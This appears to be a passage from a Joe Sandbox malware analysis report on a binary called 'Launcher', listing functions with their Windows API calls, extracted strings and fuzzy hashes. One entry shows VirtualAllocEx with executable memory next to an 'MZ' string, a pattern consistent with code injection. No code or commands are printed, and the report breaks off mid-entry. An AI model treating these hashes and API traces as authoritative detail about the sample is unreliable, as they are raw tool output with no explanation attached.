Function 00513E62 Relevance: 1.3, Strings: 1, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Strings

yRP, xrefs: 00513E64

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: yRP
API String ID: 0-1200088303
Opcode ID: 3be818cf205956922cb42e2948fb7e1fdd6f2e0da355ec83d9b6a1afa0c5ae1d
Instruction ID: 191076433ed2a09a8211634a978818f702fe6cfda31ccb9b193e4cffa8f91428
Opcode Fuzzy Hash: 3be818cf205956922cb42e2948fb7e1fdd6f2e0da355ec83d9b6a1afa0c5ae1d
Instruction Fuzzy Hash: F7E08C32911228EBCB24DB88C91898AFBECFB88B40B11419AB501D3101C270DF40CBD0

Function 005105AA Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8f6b386abd769ad1aa34007715f148021cb4ecf1aa09ef3fb483fba9ae76088
Instruction ID: dc42cbfd9e20913515df82ade4b65c8f486e6751695b2d1ed558f5b8e9c824a2
Opcode Fuzzy Hash: e8f6b386abd769ad1aa34007715f148021cb4ecf1aa09ef3fb483fba9ae76088
Instruction Fuzzy Hash: EFC08C34003A008AEE29891493793E4376EF3D1792F842C8DD4020B682C65EECC2DA00

Function 005138AE Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000), ref: 0051396F

Strings

ext-ms-, xrefs: 00513919
api-ms-, xrefs: 00513905
yRP, xrefs: 005138B0

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-$yRP
API String ID: 3664257935-2789368298
Opcode ID: 6a7518def4f4fd6d5786d80b9c48d2d0d6e3d9144f0d0b644294a42d6cb2be6a
Instruction ID: 98f9191452ea4b1877fb9ee18d130085284edfe2f81629d7ac5a270f66b62ed5
Opcode Fuzzy Hash: 6a7518def4f4fd6d5786d80b9c48d2d0d6e3d9144f0d0b644294a42d6cb2be6a
Instruction Fuzzy Hash: 5221C671A01251BBFB319F60AC54ADA3F58BF62760F140111E906A72D1E770EE85DAE0

Function 005013CB Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_catch.LIBCMT ref: 005013D2
_strlen.LIBCMT ref: 005013E4

Strings

(gW, xrefs: 0050141E
OLP(gW, xrefs: 00501421
KP, xrefs: 005013D7, 00501427

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: H_prolog3_catch_strlen
String ID: (gW$OLP(gW$KP
API String ID: 3133806014-2225421818
Opcode ID: 5d053275f1331973e39f2ca11a87746e2bb2e69eaf2665558cb630f9a709dbd6
Instruction ID: bf76c1cb61732bf0bb92a91b19666d6e9122192aa412c3162ecf1b6179a74b44
Opcode Fuzzy Hash: 5d053275f1331973e39f2ca11a87746e2bb2e69eaf2665558cb630f9a709dbd6
Instruction Fuzzy Hash: 1F516371E009158FCF20DF58C8849ADBBF1BF88324B254659E925EB2E2D731DD41CB56

Function 0050525A Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 50
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005021CB: _strlen.LIBCMT ref: 005021E3

VirtualAllocEx.KERNELBASE(000000FF,00000000,000004AC,00001000,00000040,0000000006:1@0000000005:@), ref: 005052A1

Strings

MZx, xrefs: 005052CD, 005052D2
0000000006:1@0000000005:@, xrefs: 0050526C
e<k, xrefs: 00505260

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: AllocVirtual_strlen
String ID: 0000000006:1@0000000005:@$MZx$e<k
API String ID: 3554592677-3508948697
Opcode ID: 7903fd9230f950ec7a75166a25ec0a92d41eaf05f91b7be0f11bc8095b6f5ece
Instruction ID: a2c5031a164b79663270973ada416908e609b5cffa07aaf873d8bf0331311edc
Opcode Fuzzy Hash: 7903fd9230f950ec7a75166a25ec0a92d41eaf05f91b7be0f11bc8095b6f5ece
Instruction Fuzzy Hash: B501D475A0020AAADB24B7A5EC1FFAF7F64BFC5710F600528F115B61C2EE2499018A65

Function 00510536 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,yRP,00510530,00000016,0050CDE2,?,?,E96B3C65,0050CDE2,?), ref: 00510547
TerminateProcess.KERNEL32(00000000), ref: 0051054E
ExitProcess.KERNEL32 ref: 00510560

Strings

yRP, xrefs: 00510538

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID: yRP
API String ID: 1703294689-1200088303
Opcode ID: 9be15ea3e658780b4a4b8d8d9bae9fd134b519dbb89638951aab0f8dcc416a84
Instruction ID: 422441491c1203807b2d944d85bec3a88009d6cec68a6e40613208fe9d53f12e
Opcode Fuzzy Hash: 9be15ea3e658780b4a4b8d8d9bae9fd134b519dbb89638951aab0f8dcc416a84
Instruction Fuzzy Hash: E8D09E31002119FFEF112F60DC0DA8D3F2ABF51355B416010BA49550B2CF7199DAEF90

Function 00515A2E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,00000000,?,00515F7B,?,00000000,00000000,00000000,00000000,00000000), ref: 00515ACA
GetLastError.KERNEL32(?,00515F7B,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0050E8E0,00000000,00000000,005298F0,00000010), ref: 00515AF0

Strings

e<k, xrefs: 00515A3D

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: e<k
API String ID: 442123175-356446228
Opcode ID: b4caf98b407e04c52291de7d11729de3ce32e90aa6e23184dad21d691c3ed969
Instruction ID: b71738890c69436252d9646fae2671511490ec7dfd9945ab692748714ca93b50
Opcode Fuzzy Hash: b4caf98b407e04c52291de7d11729de3ce32e90aa6e23184dad21d691c3ed969
Instruction Fuzzy Hash: 9E217334A00119DFDB15CF19D8C49DDBBB5FF89301F1441AAE946D7251E6309D86CB60

Function 00513979 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

yRP, xrefs: 0051397B
e<k, xrefs: 0051398D, 005139DE

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: e<k$yRP
API String ID: 0-4034237958
Opcode ID: 117a6620bf3e447183bc93bec4b1df6239492631bf5fbc7bd56d6308ca00103d
Instruction ID: 5af760f71003999cdc2d2f94eea9512d349f82b52d9d77f0e68dbcfb67b9e0e9
Opcode Fuzzy Hash: 117a6620bf3e447183bc93bec4b1df6239492631bf5fbc7bd56d6308ca00103d
Instruction Fuzzy Hash: 8E01F537704215ABBF158E6EFC61A9A3B9BBBC53203144221F908CB184EA70D9C5A790

Function 005075B6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

e<k, xrefs: 005075BC

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: e<k
API String ID: 0-356446228
Opcode ID: 41888fca27a2f2cb1bb70a5c6c56efa5d4e9aba0062368dcf91522b26a25f400
Instruction ID: 305ec6c5274a784ef93bd6001f0c238ddc28d073daa7807abddcba5fd068f291
Opcode Fuzzy Hash: 41888fca27a2f2cb1bb70a5c6c56efa5d4e9aba0062368dcf91522b26a25f400
Instruction Fuzzy Hash: 56315172D1490EABCB15DE68D8409EEBFB8BF1D310B140255E502A32D0D732F954CFA0

Function 00504B35 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Deallocate.LIBCONCRT ref: 00504C00

Part of subcall function 005021CB: _strlen.LIBCMT ref: 005021E3

Part of subcall function 005019E3: __EH_prolog3_catch.LIBCMT ref: 005019EA

Strings

e<k, xrefs: 00504B3B

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: DeallocateH_prolog3_catch_strlen
String ID: e<k
API String ID: 3043132973-356446228
Opcode ID: c2bcaa47ad546fd3b7918d97b89d543f55727395d7e875487985462b56b4ec2c
Instruction ID: c9e97a9725501cf773be8b5613feb0cddd08542696ecaf336d04773b3a808873
Opcode Fuzzy Hash: c2bcaa47ad546fd3b7918d97b89d543f55727395d7e875487985462b56b4ec2c
Instruction Fuzzy Hash: 5D219175E002199BDF14EBB9E886AEDBBB8BF89724F241129E501B31C1DA649D40CB64

Function 00506B91 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00506AF2: GetModuleHandleExW.KERNEL32(00000002,00000000,?,?,yRP,00506B44,00000000,yRP,00506B85,00000000), ref: 00506AFE

FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,E96B3C65,?,?,?,Function_0001F7CA,000000FF), ref: 00506BF8

Part of subcall function 00504F79: std::_Throw_Cpp_error.LIBCPMT ref: 00504F9A

Part of subcall function 005060AD: ReleaseSRWLockExclusive.KERNEL32(00503F85,yRP,00503F8D,?,?,?,?,?,?,?,?,?,?,?,?,005012A2), ref: 005060C1

Strings

e<k, xrefs: 00506BA4

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: CallbackCpp_errorExclusiveFreeHandleLibraryLockModuleReleaseReturnsThrow_Whenstd::_
String ID: e<k
API String ID: 3627539351-356446228
Opcode ID: afcb588c6beb6a93745302592db86d9b198519d45499d6bdfbb1ffb745442f31
Instruction ID: 0e4c58b6b5ea18479fc118dd0fecf46ac35d9abf2a14bbb13ef2e1617cb68a03
Opcode Fuzzy Hash: afcb588c6beb6a93745302592db86d9b198519d45499d6bdfbb1ffb745442f31
Instruction Fuzzy Hash: C4112B72600913ABDA297B65EC4AF2E7FA4FFD1760F10402BF806972E0DF34D9519A81

Function 00513E93 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,0050554A,?,yRP,0050996A,?,?,?,?,yRP,0050278B,0050554A,?,?,?,?), ref: 00513EC5

Strings

yRP, xrefs: 00513E95

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: AllocateHeap
String ID: yRP
API String ID: 1279760036-1200088303
Opcode ID: fb74828143ece928ad8badbeff5562ca42e233b2f1b6aa6499db359aa1c3085e
Instruction ID: 9c9d086a5dc4fd1273bbce91b2ef4e858bcb9ca34337e8500ec1ee3344d9c863
Opcode Fuzzy Hash: fb74828143ece928ad8badbeff5562ca42e233b2f1b6aa6499db359aa1c3085e
Instruction Fuzzy Hash: 98E0653524532966FB2237659C29BDB7E4CBF817A0F150320EC09966D1DB60CEC491A1

Function 00515E2C Relevance: 3.2, APIs: 2, Instructions: 191
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00515576: GetConsoleOutputCP.KERNEL32(E96B3C65,00000000,00000000,00000000), ref: 005155D9

WriteFile.KERNEL32(?,00000000,00000000,0050E8E0,00000000,00000000,00000000,00000000,00000000,?,0050E8E0,00000000,00000000,005298F0,00000010,00000000), ref: 00515F95
GetLastError.KERNEL32(?,0050E8E0,00000000,00000000,005298F0,00000010,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00515F9F

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: fab9f331af6e738796d5723833663b491a5faea37e1d9e14c9c59476c9ee4e9f
Instruction ID: 44a2b1dbf6d4b497f70ec726ae4aed0f68f7acfbdacc708ae2c3cd46a77fd714
Opcode Fuzzy Hash: fab9f331af6e738796d5723833663b491a5faea37e1d9e14c9c59476c9ee4e9f
Instruction Fuzzy Hash: 4561D6B1D04549EFEF118FA8C888EEE7FB9BF89304F144585E814A7252E331D986CB60

Function 00514082 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 005140CE
GetFileType.KERNELBASE(00000000), ref: 005140E0

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 5a7c9a94feff09c710a2eb9674dcd09805398ca4155111b39dc1e2bec2d03f12
Instruction ID: f3d818adf7e60494216776a472fd39c77330a15cac2b679911aa3e2d4670df35
Opcode Fuzzy Hash: 5a7c9a94feff09c710a2eb9674dcd09805398ca4155111b39dc1e2bec2d03f12
Instruction Fuzzy Hash: A911B7315447419AE7308E3E9C8C6627EE4BB66331B382B59D5BACB5F1C230D8C6DA40

Function 0050504D Relevance: 3.0, APIs: 2, Instructions: 12synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_0000525A,00000000,00000000,00000000), ref: 00505059
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00505062

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: CreateObjectSingleThreadWait
String ID:
API String ID: 1891408510-0
Opcode ID: 8df7c39ea89674008a0b9c9d8981204acf825fed9ae5ba93dfbe68a5b68f95cc
Instruction ID: cf72f107b087d5c8eee3b4d6302a4a3f7e931ca4c088df61a72f0ec9ff2314b6
Opcode Fuzzy Hash: 8df7c39ea89674008a0b9c9d8981204acf825fed9ae5ba93dfbe68a5b68f95cc
Instruction Fuzzy Hash: 84C092F4905201BEFE1017B05C0DE3B3B1EFF663223501B007D22D10E1EA348C099A30

Function 00505378 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

FreeConsole.KERNELBASE ref: 0050537D

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 74b25852187bb60d5ac89f06625be6d36c1465f19f04b0facf9cbd85db08b9cd
Instruction ID: dd940b8f86b879445f97961003c765dab58419eddb2711eeae3f3e68d83e36bb
Opcode Fuzzy Hash: 74b25852187bb60d5ac89f06625be6d36c1465f19f04b0facf9cbd85db08b9cd
Instruction Fuzzy Hash: B9E0CD7160260A6BDF196B71CC1AD9F7F6CBF40765F00065DA511920C1FEB1D902CED5

Non-executed Functions

Function 00534410 Relevance: 11.7, Strings: 9, Instructions: 426COMMON

Download Yara Rule

Strings

EK, xrefs: 0053491D
2, xrefs: 005347A7
Y_, xrefs: 00534954
C\CP, xrefs: 005346AB
SDA^, xrefs: 005346B3
1IO, xrefs: 00534928
0, xrefs: 00534486
:A;G, xrefs: 00534912
[HPG, xrefs: 005346E8

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: 0$1IO$2$:A;G$C\CP$SDA^$[HPG$EK$Y_
API String ID: 0-838503455
Opcode ID: dea8695392542b02268dda8b561be445f8449d80922f7e9c42c0984c21401944
Instruction ID: 972ba07512bd218f0b6c5a9c302e093cd9ea21c6f738589076a1d4a937e37eea
Opcode Fuzzy Hash: dea8695392542b02268dda8b561be445f8449d80922f7e9c42c0984c21401944
Instruction Fuzzy Hash: 820242B0618381ABD314CF28C590B6BBBE2FBC5708F54992DF4D98B252D738E905CB46

Function 0051BC9C Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00512E60: GetLastError.KERNEL32(?,00000008,0051345F), ref: 00512E64
Part of subcall function 00512E60: SetLastError.KERNEL32(00000000,0050554A,00000006,000000FF), ref: 00512F06

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0051BDA8
IsValidCodePage.KERNEL32(00000000), ref: 0051BDF1
IsValidLocale.KERNEL32(?,00000001), ref: 0051BE00
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0051BE48
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0051BE67

Strings

e<k, xrefs: 0051BCA4

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: e<k
API String ID: 415426439-356446228
Opcode ID: 449cd3a0d0bc42a4537bdbcf75b75802f88097435b451f872d991f7c59fae8bf
Instruction ID: d9873d83f8708c1aedc793b35c94ad8e03389e4fc8c31eb8cd86a85aef81da43
Opcode Fuzzy Hash: 449cd3a0d0bc42a4537bdbcf75b75802f88097435b451f872d991f7c59fae8bf
Instruction Fuzzy Hash: 7051817190020AABFF24DFA4DC85FFA7BB8BF55700F184569E900E7191EB709A84CB61

Function 0051B338 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00512E60: GetLastError.KERNEL32(?,00000008,0051345F), ref: 00512E64
Part of subcall function 00512E60: SetLastError.KERNEL32(00000000,0050554A,00000006,000000FF), ref: 00512F06

GetACP.KERNEL32(?,?,?,?,?,?,00511A0E,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0051B3F9
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00511A0E,?,?,?,00000055,?,-00000050,?,?), ref: 0051B424
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0051B587

Strings

e<k, xrefs: 0051B53E
utf8, xrefs: 0051B4F6

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: e<k$utf8
API String ID: 607553120-3969487663
Opcode ID: f5d4fac2696572c00ded72e8a0333271fea21bfdadcb9b83d0ffd9ed28544b2a
Instruction ID: 821e3a90017b1cb74cdf7e04ecd616ae953dbe5850350d0ad045b4f03c84dc9f
Opcode Fuzzy Hash: f5d4fac2696572c00ded72e8a0333271fea21bfdadcb9b83d0ffd9ed28544b2a
Instruction Fuzzy Hash: 4B71E175600306AAFB24AF74CC8ABFA7BA9FF85700F144429F515D7181FBB0E9C18661

Function 005185E9 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 206fileCOMMON

Download Yara Rule

APIs

